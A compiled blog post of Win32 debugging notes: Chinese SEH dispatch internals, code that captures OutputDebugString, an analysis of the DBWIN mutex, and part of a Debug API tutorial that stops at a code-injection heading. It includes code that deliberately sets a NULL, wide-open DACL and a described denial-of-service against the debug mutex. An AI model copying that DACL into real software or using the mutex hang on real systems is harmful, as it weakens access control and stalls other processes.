Figure 14 所示为我为 KiUserExceptionDispatcher 和一些相关函数写的伪码。KiUserExceptionDispatcher 位于 NTDLL.DLL 中,它是异常发生后执行的起点。这样说也不是百分之百的准确。例如,在 Intel 体系下,异常会使控制转到一个 ring 0 (内核模式)的处理程序。此处理程序由对应此异常的中断描述符表表项所定义。我将跳过所有的内核模式代码并假设发生异常时 CPU 直接执行 KiUserExceptionDispatcher。

KiUserExceptionDispatcher 的关键就是对 RtlDispatchException 的调用。这个调用启动了对注册的异常处理程序的查找。如果处理程序处理了异常并继续执行,则对 RtlDispatchException 的调用不再返回。如果 RtlDispatchException 返回了,则有两种可能:要么调用了 NtContinue 使进程继续,要么就是产生了另一个异常。若是后者,异常就不能再继续了,进程必须结束。接着说 RtlDispatchExceptionCode,这就是遍历异常帧的代码。函数获得一个指向 EXCEPTION_REGISTRATIONs 链表的指针并遍历每一个节点查找处理程序。因为堆栈可能崩溃掉,这个函数非常谨慎。在调用每个 EXCEPTION_REGISTRATION 指定的处理程序之前,代码要保证在线程堆栈中 EXCEPTION_REGISTRATION 是 DWORD 对齐的且前面的 EXCEPTION_REGISTRATION 的地址高。

RtlDispatchException 并不直接调用 EXCEPTION_REGISTRATION 结构体中指定的地址,而是调用 RtlpExecuteHandlerForException 来做这个脏累活儿。根据 RtlpExecuteHandlerForException 内部发生的情况,RtlDispatchException 要么继续遍历异常帧要么产生另一个异常。这个二级异常指示异常回调函数中出现问题不能继续执行。RtlpExecuteHandlerForException 的代码和另一个函数 RtlpExecutehandlerForUnwind 紧密相关。我在前面讲 unwinding 时曾提到这个函数。这两个函数都在将控制送到 ExecuteHandler 函数之前用不同的值加载 EDX 寄存器。换种说法就是 RtlpExecuteHandlerForException 和 RtlpExecutehandlerForUnwind 是同一个 ExecuteHandler 函数的不同的前端。

ExecuteHandler就是 EXCEPTION_REGISTRATION 的 handler 域被取出和执行的地方。也许看上去有些奇怪,对异常回调函数的调用本身也被一个结构化异常处理程序封装了起来。在这里使用 SEH 尽管有点儿怪,但认真考虑一下还是合理的。如果异常回调引起了另一个异常,操作系统需要知道此事件。根据异常是发生在初始的回调还是 unwind 中的回调,ExecuteHandler 返回 DISPOSITION_NESTED_ EXCEPTION 或 DISPOSITION_COLLIDED_UNWIND。这两个可都是“红色警戒!立即关闭!”级别的代号。读者也许像我一样很难让所有的函数都与 SEH 直接关联。类似地,也很难记住谁调用了谁。为了帮助我自己,我画了个图即 Figure 15。

现在,在执行 ExecuteHandler 前设置 EDX 寄存器干什么呢?其实很简单。若调用用户的处理程序时出错,则不管 EDX 里是什么 ExecuteHandler 都会将其作为纯粹的异常处理程序。它将 EDX 寄存器压栈作为最小 EXCEPTION_REGISTRATION 结构体的 handler 域。本质上讲,ExecuteHandler 使用的纯粹的异常处理和我在 MYSEH 和 MYSEH2 程序里使用的差不多。


Conclusion

结构化异常处理是 Win32 的一个奇妙特性。多亏了像 Visual C++ 这样的编译器在它上面加上的支持层,一般的程序员才能用较少的学习代价而从 SEH 中受益。然而,在操作系统这一级,事情可就比 Win32 文档所讲的复杂多了。不幸的是,因为几乎所有的人都觉得系统级 SEH 是个很难的课题,所以至今没有什么这方面的文章。系统级细节方面的文档的缺乏状况一直未得改善。在本文中,我已经展示了系统级的 SEH 是围绕一个相对简单的回调函数展开的。如果理解了回调函数的本质,再在此基础上层曾构建其它的理解层次,系统级的结构化异常处理其实也没那么难掌握。

Friday, February 25, 2005

 

Some notes on Win32 Debug - 1

1.
By yonsm
From http://yonsm.reg365.com/index.php?job=art&articleid=a_20041023_010315

在调试状态下,VC 等调试器可以捕捉程序中的 OutputDebugString 输出的信息。其实 OutputDebugString 就是往一片共享影射的内存中写入了一段数据,并创建了两个 Enevt,指明数据写入事件被触发。在非调试状态下,我们也可以通过编程实现捕捉 OutputDebugString 的输出。下面的代码演示了如何获取这些信息:

DWORD WINAPI CDebugTrack::TrackProc(PVOID pvParam){ HANDLE hMapping = NULL; HANDLE hAckEvent = NULL; PDEBUGBUFFER pdbBuffer = NULL; TCHAR tzBuffer[MAX_DebugBuffer]; _Try { // 设置初始结果 m_dwResult = ERROR_INVALID_HANDLE; // 打开事件句柄 hAckEvent = CreateEvent(NULL, FALSE, FALSE, TEXT("DBWIN_BUFFER_READY")); _LeaveIf(hAckEvent == NULL); m_hReadyEvent = CreateEvent(NULL, FALSE, FALSE, TEXT("DBWIN_DATA_READY")); _LeaveIf(m_hReadyEvent == NULL); // 创建文件映射 hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, MAX_DebugBuffer, TEXT("DBWIN_BUFFER")); _LeaveIf(hMapping == NULL); // 映射调试缓冲区 pdbBuffer = (PDEBUGBUFFER) MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); _LeaveIf(pdbBuffer == NULL); // 循环 for (m_dwResult = ERROR_SIGNAL_PENDING; (m_dwResult == ERROR_SIGNAL_PENDING); ) { // 等待缓冲区数据 SetEvent(hAckEvent); if (WaitForSingleObject(m_hReadyEvent, INFINITE) == WAIT_OBJECT_0) { // 如果是继续等待,否则表示主线程发出了停止信号,退出当前线程 if (m_dwResult == ERROR_SIGNAL_PENDING) { // 添加新项 _AStrToStr(tzBuffer, pdbBuffer->szString); CListView::AddDebugItem(tzBuffer, pdbBuffer->dwProcessId); } } else { // 等待失败 m_dwResult = WAIT_ABANDONED; } } } _Finally { // 释放 if (pdbBuffer) { UnmapViewOfFile(pdbBuffer); } _SafeCloseHandle(hMapping); _SafeCloseHandle(m_hReadyEvent); _SafeCloseHandle(hAckEvent); PostMessage(CMainWnd::m_hWnd, WM_COMMAND, IDC_DebugTrack, m_dwResult); // 返回结果 return m_dwResult; } }
[软件]->[DebugTrack] 下有个 DebugTrack 工具,可以非常方便地捕捉和处理 OutputDebugString 的输出,实乃程序员居家旅行、杀人灭口,必备良药……,

当然,你也可以选择 Sysinternals 的 DebugView,功能更强大(可以远程监视、可以监视内核输出),不过没有 DebugTrack 用起来方便。

2.
By Steve Friedl
From http://www.unixwiz.net/techtips/outputdebugstring.html

Hardcore Win32 developers are probably familiar with the OutputDebugString() API function that lets your program talk with a debugger. It's handier than having to create a logfile, and all the "real" debuggers can use it. The mechanism by which an application talks to the debugger is straightforward, and this Tech Tip documents how the whole thing works.
This Tech Tip was prompted first by our observation that OutputDebugString() didn't always work reliably when Admin and non-Admin users tried to work and play together (on Win2000, at least). We suspected permissions issues on some of the kernel objects involved, and in the process ran across enough information that we had to write it up.

We'll note that though we're using the term "debugger", it's not used in the Debugging API sense: there is no "single stepping" or "breakpoints" or "attach to process" going on like one might find in MS Visual C or some real interactive development environment. Any program that implements the protocol is a "debugger" in this sense. This could be a very simple command-line tool, or one more advanced such as DebugView from the very smart guys at SysInternals.

Table of contents

Application program usage
The Protocol
The permission problem
Detailed implementation
Random thoughts
Unixwiz.net tool: dbmutex
Application program usage
The file declares two version of the OutputDebugString() function - one for ASCII, one for Unicode - and unlike most of the Win32 API, the native version is ASCII. Most of the Win32 API is Unicode native.
Simply calling OutputDebugString() with a NUL-terminated string buffer causes the message to appear on the debugger, if there is one. Common usage builds a message and sends it


--------------------------------------------------------------------------------

sprintf(msgbuf, "Cannot open file %s [err=%ld]\n", fname, GetLastError());

OutputDebugString(msgbuf);


--------------------------------------------------------------------------------

but in practice many of us create a front-end function that allows us to use printf-style formatting. The odprintf() function formats the string, insures that there is a proper CR/LF at the end (removing any previous line terminations), and sends the message to the debugger.

--------------------------------------------------------------------------------

#include
#include
#include

void __cdecl odprintf(const char *format, ...)
{
char buf[4096], *p = buf;
va_list args;

va_start(args, format);
p += _vsnprintf(p, sizeof buf - 1, format, args);
va_end(args);

while ( p > buf && isspace(p[-1]) )
*--p = '\0';

*p++ = '\r';
*p++ = '\n';
*p = '\0';

OutputDebugString(buf);
}


--------------------------------------------------------------------------------

Then using it in code is easy:

--------------------------------------------------------------------------------

...
odprintf("Cannot open file %s [err=%ld]", fname, GetLastError());
...


--------------------------------------------------------------------------------

We've been using this for years.
The protocol
Passing of data between the application and the debugger is done via a 4kbyte chunk of shared memory, with a Mutex and two Event objects protecting access to it. These are the four kernel objects involved:
object name object type
DBWinMutex Mutex
DBWIN_BUFFER Section (shared memory)
DBWIN_BUFFER_READY Event
DBWIN_DATA_READY Event

The mutex generally remains on the system all the time, but the other three are only present if a debugger is around to accept the messages. Indeed - if a debugger finds the last three objects already exist, it will refuse to run.
The DBWIN_BUFFER, when present, is organized like this structure. The process ID shows where the message came from, and string data fills out the remainder of the 4k. By convention, a NUL byte is always included at the end of the message.


--------------------------------------------------------------------------------

struct dbwin_buffer {
DWORD dwProcessId;
char data[4096-sizeof(DWORD)];
};


--------------------------------------------------------------------------------

When OutputDebugString() is called by an application, it takes these steps. Note that a failure at any point abandons the whole thing and treats the debugging request as a no-op (the string isn't sent anywhere).

Open DBWinMutex and wait until we have exclusive access to it.
Map the DBWIN_BUFFER segment into memory: if it's not found, there is no debugger running so the entire request is ignored.
Open the DBWIN_BUFFER_READY and DBWIN_DATA_READY events. As with the shared memory segment, missing objects mean that no debugger is available.
Wait for the DBWIN_BUFFER_READY event to be signaled: this says that the memory buffer is no longer in use. Most of the time, this event will be signaled immediately when it's examined, but it won't wait longer than 10 seconds for the buffer to become ready (a timeout abandons the request).
Copy up to about 4kbytes of data to the memory buffer, and store the current process ID there as well. Always put a NUL byte at the end of the string.
Tell the debugger that the buffer is ready by setting the DBWIN_DATA_READY event. The debugger takes it from there.
Release the mutex
Close the Event and Section objects, though we keep the handle to the mutex around for later.
On the debugger front, it's a bit simpler. The mutex is not used at all, and if the events and/or shared memory objects already exist, we presume that some other debugger is already running. Only one debugger can be in the system at a time.

Create the shared memory segment and the two events. If we can't, exit.
Set the DBWIN_BUFFER_READY event so the applications know that the buffer is available.
Wait for the DBWIN_DATA_READY event to be signaled.
Extract the process ID NUL-terminated string from the memory buffer.
Go to step #2
This doesn't strike us as being a low-cost way of sending messages, and the application is at the mercy of the debugger for the speed at which it runs.
The Permissions Problem
We have seen problems for years with OutputDebugString() being unreliable at times, and we're not quite sure why Microsoft has such a hard time getting this right. Curiously, the problem has always revolved around the DBWinMutex object, and it requires that we visit the permissions system to find out why this is so troublesome.
The mutex object is alive and allocated until the last program using it closes its handle, so it can remain long after the original application which created it has exited. Since this object is so widely shared, it must be given explicit permissions that allow anybody to use it. Indeed, the "default" permissions are almost never suitable, and this mistake accounted for the first bug we observed in NT 3.51 and NT 4.0.

The fix - at the time - was to create this mutex with a wide-open DACL that allowed anybody to access it, but it seems that in Win2000 these permissions have been tightened up. Superficially they look correct, as we see in this table:

SYSTEM MUTEX_ALL_ACCESS
Administrators MUTEX_ALL_ACCESS
Everybody SYNCHRONIZE | READ_CONTROL | MUTEX_QUERY_STATE

An application wishing to send debugging messages needs only the ability to wait for and acquire the mutex, and this is represented by the SYNCHRONIZE right. The permissions above are entirely correct to all all users to participate this way.
The surprise occurs when one looks at the behavior of CreateMutex() when the object already exists. In that case, Win32 behaves as if we were calling:

OpenMutex(MUTEX_ALL_ACCESS, FALSE, "DBWinMutex");

Even though we only really need SYNCHRONIZE access, it presumes the caller wishes to do everything (MUTEX_ALL_ACCESS). Because non-admins do not have these rights - only the few listed above - the mutex cannot be opened or acquired, so OutputDebugString() quietly returns without doing anything.
Even deciding to perform all software development as an administrator is not a complete fix: if there are other users (services, for instance) that run as non-admins, their debugging information will be lost if the permissions are not right.

Our feeling is that the real fix requires that Microsoft add a parameter to CreateMutex() - the access mask to use for the implied OpenMutex() if the object already exists. Perhaps someday we'll see a CreateMutexEx(), but in the medium term we have to take another approach. Instead, we'll just hard-change the permissions on the object as it lives in memory.

This revolves around the SetKernelObjectSecurity() call, and this fragment shows how a program can open the mutex and install a new DACL. This DACL remains even after this program exits, as long as any other programs maintain HANDLEs to it.

...
// open the mutex that we're going to adjust
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "DBWinMutex");

// create SECURITY_DESCRIPTOR with an explicit, empty DACL
// that allows full access to everybody

SECURITY_DESCRIPTOR sd;
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(
&sd, // addr of SD
TRUE, // TRUE=DACL present
NULL, // ... but it's empty (wide open)
FALSE); // DACL explicitly set, not defaulted

// plug in the new DACL
SetKernelObjectSecurity(hMutex, DACL_SECURITY_INFORMATION, &sd);
...

This approach is clearly going down the right road, but we still must find a place to put this logic. It would be possible to put this in a small program that could be run on demand, but this seems like it would be interruptive. Our approach has been to write a Win32 service that takes care of this.
Our dbmutex tool performs just this job: it launches at system boot time, opens or creates the mutex, and then sets the object's security to allow wide access. It then sleeps until shutdown, holding the mutex open in the process. It consumes no CPU time.

Detailed implementation
We've spent a bunch of time with IDA Pro digging into the Windows 2000 KERNEL32.DLL implementation, and we think we have a good handle on how it's working on a more precise basis. Here we present pseudocode (e.g., we've not compiled it) for the OutputDebugString() function, plus the function that creates the mutex.
We are purposely skipping most of the error checking: if things go wrong, it frees up allocated resources and exits as if no debugger were available. The goal here is to show the general behavior, not a complete reverse engineering of the code.

The "setup" function - whose name we have manufacturered - creates the mutex or opens it if not already there. They go to some pains to set the security on the mutex object so that anybody can use it, though in practice we'll see that they haven't quite gotten it right.

OutputDebugString.txt
Random thoughts
It might strike some that this is a security matter, but it's really not. Non-admin users do have all the rights necessary to properly use OutputDebugString(), but due to the common mistake of "asking for more rights than required", a legitimate request is denied for a question posed in the wrong form.
But unlike most problems of this type, this is less intentional than most. Most mistakes are where the developer explicitly asks for too much (e.g., "MUTEX_ALL_ACCESS"), but this mask is implied by the behavior of CreateMutex(). This makes it harder to avoid without a change in the Win32 API.

---

While picking apart OutputDebugStringA() in KERNEL32.DLL, it became apparent how a non-admin could likely cripple a system. Once the mutex has been acquired, an appliation wishing to send a debug message waits up to ten seconds for the DBWIN_BUFFER_READY event to become ready, giving up if it times out. This seems like a prudent precaution to avoid starvation if the debugging system is busy.

But the earlier step, waiting for the mutex, has no such timeout. If any process on the system - including a non-privilged one - can open this mutex asking for SYNCHRONIZE rights, and just sit on it. Any other process attempting to acquire this mutex will be stopped dead in its tracks with no time limit.

Our investigation shows that all kinds of programs send random bits of debugging information (for instance, the MusicMatch Jukebox has a keyboard hook that's very chatty), and these threads are all halted by a few lines of code. It won't necessarily stop the whole program - there could be other threads - but in practice, developers don't plan on OutputDebugString() will be a denial-of-service avenue.

---

Oddly enough, we found that OutputDebugString() is not a native Unicode function. Most of the Win32 API has the "real" function to use Unicode (the "W" version), and they automatically convert from ASCII to UNICODE if the "A" version of the function is called.

But since OutputDebugString ultimately passes data to the debugger in the memory buffer strictly as ASCII, they have inverted the usual A/W pairing. This suggests that for sending a quick message to a debugger even in a Unicode program, it can be done by calling the "A" version directly:

OutputDebugStringA("Got here to place X");

3.
Use DebugView to read OutputDebugString
http://www.sysinternals.com/ntw2k/freeware/debugview.shtml

4.
WIN32 - Inside Debug API
By Iceman, 20 March 1998
From http://www.woodmann.com/fravia/iceman1.htm

I'm very proud that my previous work "Tweaking with memory in Windows 95" was good
enough to open a new section ,"+HCU's PAPERS", at Reverser's.That's very stimulating ,so I'm
back! I hope that will be many other contributors to this section.Let's bring light in the
shadows!
BTW, Reverser ,I really like the picture for your new section.I'm with you boys,now
and forever!And one more thing:for now one I will send you my essays in .htm format.No more
plain text files!
In this document I will focus on Debug API functions.I think that it is an
interesting chapter,who worth a closer lock.
Note:In order to use those functions in Windows NT your user must have debug
privileges access right granted.I don't know for sure but it seems that NT does not grant
this for default to administrators.
I have started to work on part two of "Tweaking with memory in Windows 95" this
time I want to present a VxD aprroach.It's nice to write self-modifying code using the linker
trick(Make code section read-write at link time).But wouldn't be nicer to relay only on VxD calls
to tweak with memory leaving that damned section write protected and without ANY high-level
calls to functions like VirtualProtect? The target will be this time the virtual memory manger
itself.Anyone out there who could HELP?.

The document has the following structure:


Chapter1:Functions and structures.
Chapter2:Debug events.
Chapter3:Creating or attaching a process for being debugged.
Chapter4:The main loop: WaitForDebugEvent - ContinueDebugEvent.
Chapter5.Handling debug events.
Chapter6:GetThreadContext & Set ThreadContext(Advanced stuff)
6.1 Thread Contexts explained
6.2 Injecting code in another process.
Chapter7:Notes

Chapter1:Functions and structures
----------------------------------

A good WIN32 API reference for future reference is OK.I don't explain here all
the parameters those functions take, nor all structures.But for now,let's see the API:




ContinueDebugEvent
DebugActiveProcess
DebugBreak
FatalExit
FlushInstructionCache
GetThreadContext
GetThreadSelectorEntry
IsDebuggerPresent
OutputDebugString
ReadProcessMemory
IsDebuggerPresent
SetThreadContext
WaitForDebugEvent
WriteProcessMemory


As we can see , two old friends:WriteProcessMemory & ReadProcessMemory.We all know
them very well,so let's go further.
FlushInstructionCache ,IsDebuggerPresent,OutputDebugString? Self-explanatory.


DebugActiveProcess
------------------


This function allows a debugger to attach to an active process.


BOOL DebugActiveProcess(
DWORD dwProcessId
);
Parameters:

DWORD dwProcessId: PID of process to attach


WaitForDebugEvent
-----------------

This function allow the debugger to wait until a debug event heapens
in target process.


BOOL WaitForDebugEvent(
LPDEBUG_EVENT lpDebugEvent,
DWORD dwMilliseconds
);
Parameters:
LPDEBUG_EVENT lpDebugEvent: Pointer to a DEBUG_EVENT type structure.
This struct will receive info about the
debug event trapped.
DWORD dwMilliseconds: Number of ms. to wait.Could be INFINITE.
If it is INFINITE WaitForDebugEvent does
not return until a debug event occurs.
ContinueDebugEvent
------------------


This function allow the debugger to resume a thread that previously raised a
debug event.

BOOL ContinueDebugEvent(
DWORD dwProcessId,
DWORD dwThreadId,
DWORD dwContinueStatus
);
Parameters:

DWORD dwProcessId: PID of process beeing debugged
DWORD dwThreadId: TID of thread to be resumed
DWORD dwContinueStatus : DWORD that specify how the thread will
continue.Two values defined:
DBG_CONTINUE & DBG_EXCEPTION_NOT_HANDLED.

Debug Break
----------
This function causes a breakpoint in current process.


VOID DebugBreak(VOID);



FatalExit
---------
This function force the exit of caller process,transferring execution to debugger


VOID FatalExit(
int ExitCode
);
Parameters:
int ExitCode : Exit code



GetThreadContext & Set Thread context
-------------------------------------
Those functions are used to retrieve & set the context of a thread.See chapter 6.


BOOL GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);

BOOL SetThreadContext(
HANDLE hThread,
CONST CONTEXT *lpContext
);
Parameters:
HANDLE hThread: A handle to thread whose context is being read
or set.
LPCONTEXT lpContext: Pointer to a CONTEXT structure to receive /set
context info.

GetThreadSelectorEntry
----------------------
The GetThreadSelectorEntry function retrieves a descriptor table entry for
the specified selector and thread.

BOOL GetThreadSelectorEntry(
HANDLE hThread,
DWORD dwSelector,
LPLDT_ENTRY lpSelectorEntry
);
Parameters:
HANDLE hThread: A handle to thread containing specified
selector.
DWORD dwSelector: Selector Number
LPLDT_ENTRY lpSelectorEntry Pointer to a structure that receive
descriptor table.

Chapter2:Debug events.
----------------------

From Debug API functions point of view a debug events is an object used to communicate with the debugger.When a debug event occurs in target process the OS inform the debugger about this.The debugger use WaitForDebugEvent to retrieve info about the event that occurred in target process(See chapter 5).Following debug events exists:
1.CREATE_PROCESS_DEBUG_EVENT & EXIT_PROCESS_DEBUG_EVENT raised every time than a new
process is created/destroyd by the process being debugged.
2.CREATE_THREAD_DEBUG_EVENT & EXIT_CREATE_THREAD_DEBUG_EVENT raised whenever a new
thread object is created/destroyed by the process being debugged.
3.LOAD_DLL_DEBUG_EVENT & UNLOAD_DLL_DEBUG_EVENT generated whenever the target loads/
unloads a dll.
4.OUTPUT_DEBUG_STRING_EVENT generated than target calls OutputDebugString.
5.EXCEPTION_DEBUG_EVENT generated when an exception occurs in target process.This
include breakpoint instructions such INT 3 , DivideOverflow .....
6.RIP_DEBUG_EVENT generated when a RIP exception occurs.
WaitForDebugEvent receives the debug event and returns information about the event
in a DEBUG_EVENT structure.This structure is defined as below in WIN32 AP:


typedef struct _DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
} u;
} DEBUG_EVENT;
The member dwDebugEventCode contains a value indicating which kind of debug events
was ocureed.The dwProcessId member contain the PID of process in which the debug event occurred. The union u member is a classic C/C++ union.It is reflected in a structure whose type is determined by DWORD dwDebugEventCode.This structure contains extended information about the event that ocurred.I don't list all of them here because it's pointless. Also note that a CREATE_PROCESS_DEBUG_EVENT is generated than a debugger attach to a target process.

Chapter3:Creating or attaching a process for being debugged
------------------------------------------------------------


In this short chapter I present you how to create a process for being debugged,or
how to attach to an already running process.


3.1:Creating a process for being debugged
Use CreateProcess to create the process being debugged.Call this function
with dwCreationFlags parameter with one of following values DEBUG_PROCESS or
DEBUG_ONLY_THIS_PROCESS.If target process is created with DEBUG_PROCESS creation
flag than the debugger will receive events from all processes crated by target
process.If dwCreationFlags=DEBUG_ONLY_THIS_PROCESS than the debugger will receive
debug events only from target process ignoring child processes.As usually you
can use PROCESS_INFORMATION structure to ret rive handles to both the created
process and it's primary thread as well as the PID an TID(for primary thread).


3.2:Attaching to an already running process
Use DebugActiveProcess function.If this function returns successfully you
are attached to target as if you called CreateProcess with DEBUG_ONLY_THIS_PROCESS
flag.


Note that in WindowsNT DebugActiveProcess can easily fail if we try to attach to a
process that was created with a security descriptor that denies requested access.In WIN95 the only thing you have to worry is to pas a valid PID to DebugActiveProcess.That's it man! NT has better security.
Attaching to a process is an elegant method but sometimes the loader method is the
only solution.It's up to you what method to use.For a simple game trainer it's OK to attach but if you really want to do cool things...,better use the loader method.It gives you full control over the target process and it's threads.


Chapter4:The main loop: WaitForDebugEvent - ContinueDebugEvent
--------------------------------------------------------------



A minimum skeleton for using Debug API function is easy to implement.All you have to
do is to create a process for being debugged and the implement code to watch for debug events. I call the part responsible with watching debug events "The Main Loop".Why?Because is very simple to implement as a While loop.The functions you have to use for this are WaitForDebugEvent - ContinueDebugEvent. As we have seen before WaitForDebugEvent waits for a certain amount of time for a debug event to occur in target process.If a debug event does not occur in this time the function times-out and return FALSE. If a debug events occurs than this function return TRUE,fill a DEBUG_EVENT type structure with info about event type and freeze the thread in witch the debug event ocurred.The programmer is responsible to perform event type checking and take appropriate meassures.After the specific code for handling debug event is executed we have to use ContinueDebugEvent to resume thread execution and wait for
other events to occure.Another thing to worry: the only thread witch is allowed to call WaitForDebugEvent is the thread who created or attached to target process.So let's see some code:


PROCESS_INFORMATION pi;
STARTUP_INFO si;
DEBUG_EVENT devent;
if(CreateProcess( 0 , "target.exe" , 0 , 0 ,FALSE ,DEBUG_ONLY_THIS_PROCESS , 0 ,0 ,
&si , &pi))
while(TRUE)
{
{
if (WaitForDebugEvent( &devent , 150)) // wait 150 ms for debug event
{
switch(devent.dwDebugEventCode)
{
case CREATE_PROCESS_DEBUG_EVENT:
// your handler here
break;
case EXIT_PROCESS_DEBUG_EVENT:
// your handler here
break;
case EXCEPTION_DEBUG_EVENT:
// your handler here
break;


}
ContinueDebugEvent(devent.dwProcessId , devent.dwThreadId , DBG_CONTINUE);

}


else
{
// other operations
}


}
} // while end here
else
{
MessageBox(0,"Unexpected load error","Fatal Error" ,MB_OK);
}

Chapter5.Handling debug events
-------------------------------


In previous example we can see that how we can trap debug events and take appropriate actions using case/switch C /C++ statements.Each debug event has a personal handler who gets executed when corresponding debug event occurs.More information about the debug event can be found in union u member of DEBUG_EVENT.As a example let's the structure corresponding to EXCEPTION_DEBUG_EVENT.I choose this because encountering breakpoints and tracing through code generates an exception debug event.See a API reference for other events.


typedef struct _EXCEPTION_DEBUG_INFO
{
EXCEPTION_RECORD ExceptionRecord;
DWORD dwFirstChance;
} EXCEPTION_DEBUG_INFO;


In this case we have to retrieve data we need from another structure,member of
EXCEPTION_DEBUG_INFO structure.This is EXCEPTION_RECORD structure in which , finally , we can find all data we need about trapped exception.Let's see:



typedef struct _EXCEPTION_RECORD
{
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;



DWORD ExceptionCode: Specifyes the type of exception
ExceptionFlags : 0 if exception is a continuable exception
EXCEPTION_NONCONTINUABLE if exception is not continuable.
ExceptionRecord : Pointer to an associated EXCEPTION_RECORD structure
PVOID ExceptionAddress: Pointer to the address where exception occurred
DWORD NumberParameters: Number of parameters defined in ExceptionInformation
ExceptionInformation: Additional 32 bit array.For most exception is undefined.


Using the information from those structures we can find all we need.We can retrieve
the thread there exception occurred , type of exception , if we can continue execution or not, the address where exception occurred and others.
Note that trying to continue a EXCEPTION_NONCONTINUABLE exception type will
generate a EXCEPTION_NONCONTINUABLE_EXCEPTION exception.
Currently used exceptions are EXCEPTION_BREAKPOINT and EXCEPTION_SINGLE_STEP.The
first exception is raised on a breakpoint hit, the seconds signalizes that trace trap
signals that one instruction has been executed.
Using a similar mechanism you can gather information about threads , dll's used
by running process and other things.

Chapter6:GetThreadContext & Set ThreadContext(Advanced stuff)
-------------------------------------------------------------

6.1 Thread Contexts explained

I really enjoyed writing this chapter.All others are things easy to figure out.Don't
scare it not really difficult to understand what's going on in this chapter.Before to present those two functions and their use I want to remember some basic things about processes and threads.
In WIN32 philosophy a process is a object who has an private address space , code ,
data , and a primary thread.Each process has at the very beginning only one thread.From the primary thread we can later create other threads which run in the same address space.Contrary to the popularly belief a process does NOT execute any kind of code.The threads are the objects who executes the code.The thread objects share the same address space and resources but they have individual contexts.What means that? Windows95 and WindowsNT are multitasking AND multithread operating systems.The OS seems to run all threads in the same time , but this is not true. Every individual thread is scheduled for execution for a short time , and the the
OS save the thread state in a structure called CONTEXT structure and goes for the next thread. The information saved in this structure represents the thread context and is formed by:
- threads machine registers (CPU registers)
- the kernel stack and the user stack address
- thread environment block address.
The the OS encounter again our thread it restores it's context info from associated
structures and resume execution like nothing happened.
Ok,so let's see the CONTEXT structure.Unfortunately seems that Microsoft does not
include info about this structure API help files. The structure is documented at minimum in winnt.h header file in Watcom compilers(can be elsewhere in others.Keep looking).Keep in mind that this structure is hardware dependent so expect different implementations for x86 , Alpha...


typedef struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;


} CONTEXT;


typedef struct _FLOATING_SAVE_AREA {
DWORD ControlWord;
DWORD StatusWord;
DWORD TagWord;
DWORD ErrorOffset;
DWORD ErrorSelector;
DWORD DataOffset;
DWORD DataSelector;
BYTE RegisterArea[SIZE_OF_80387_REGISTERS];
DWORD Cr0NpxState;
} FLOATING_SAVE_AREA;


typedef FLOATING_SAVE_AREA *PFLOATING_SAVE_AREA;

DWORD ContextFlags: the folowing values are defined:

CONTEXT_CONTROL // SS:SP, CS:IP, FLAGS, BP
CONTEXT_INTEGER // AX, BX, CX, DX, SI, DI
CONTEXT_SEGMENTS // DS, ES, FS, GS
CONTEXT_FLOATING_POINT // 387 state
CONTEXT_DEBUG_REGISTERS // DB 0-3,6,7


CONTEXT_FULL=(CONTEXT_CONTROL | CONTEXT_INTEGER > CONTEXT_SEGMENTS)


Watch out CONTEXT_FULL does not include CONTEXT_DEBUG_REGISTERS and
CONTEXT_FLOATING_POINT.You must specify them independently.It's huge and ugly, isn't it?
Ok we know now how a CONTEX structure is looking.Now let's see what can we do with
this monster.First let's talk a little about GetThreadContext & SetThreadContext.
The function GetThreadContext is used to get a thread context.
BOOL GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);
hThread is the handle of thread whose context is to be retrieved.
LPCONTEXT lpContext is a pointer to a CONTEXT structure.


PRIOR TO USE GetThreadContext you MUST initialize ContextFlags member with
the appropriate flag.Use This to set the amount of info to retrieve.For example if
you specify CONTEXT_CONTROL value for ContextFlags only SS:SP, CS:IP, FLAGS, BP
will be saved.
The function SetThreadContext is used to set the thread context.
BOOL SetThreadContext(
HANDLE hThread,
CONST CONTEXT *lpContext
);
Like before hThread is a handle to destination thread and CONST CONTEXT
*lpContext is a pointer to a CONTEXT structure.The amount of information restored
is determined by ContextFlags member.
You may want to consider another thing.NEVER try to set a thread context
while the thread is running.I consider this "one way ticket to the hell".Use
SuspendThread to stop a running thread.Later after you set the context you
can use ResumeThread function.Warning: using ResumeThread does not guarantee
that the target thread will indeed resume executions.Why?Every thread have an
thread suspend count.When the thread is running the counter is 0.Every time when
we use SuspendThread this counter is incremented by one.So we call SuspendThread.
The counter will be updated to 1.But W_95 and W_NT are multithread enviroments
so another thread can call too SuspendThread on our thread.Now the counter
is 2.Calling ResumeThread once will have only one effect.The counter is again 1.
Thread execution is not resumed until the thread suspend count is 0.(ResumeThread function decrements the suspend counter ).So how can we be sure that the thread resumed execution? Simple.Examine the return value. If it's 0 then the thread was not suspended.If it's 1 the thread was suspended but resumed execution.If it's greater than 1 the thread suspend counter was decremented but the thread was not resumed.A value of 0xffffffff means that ResumeThread failed.

6.2 Injecting code in another process.
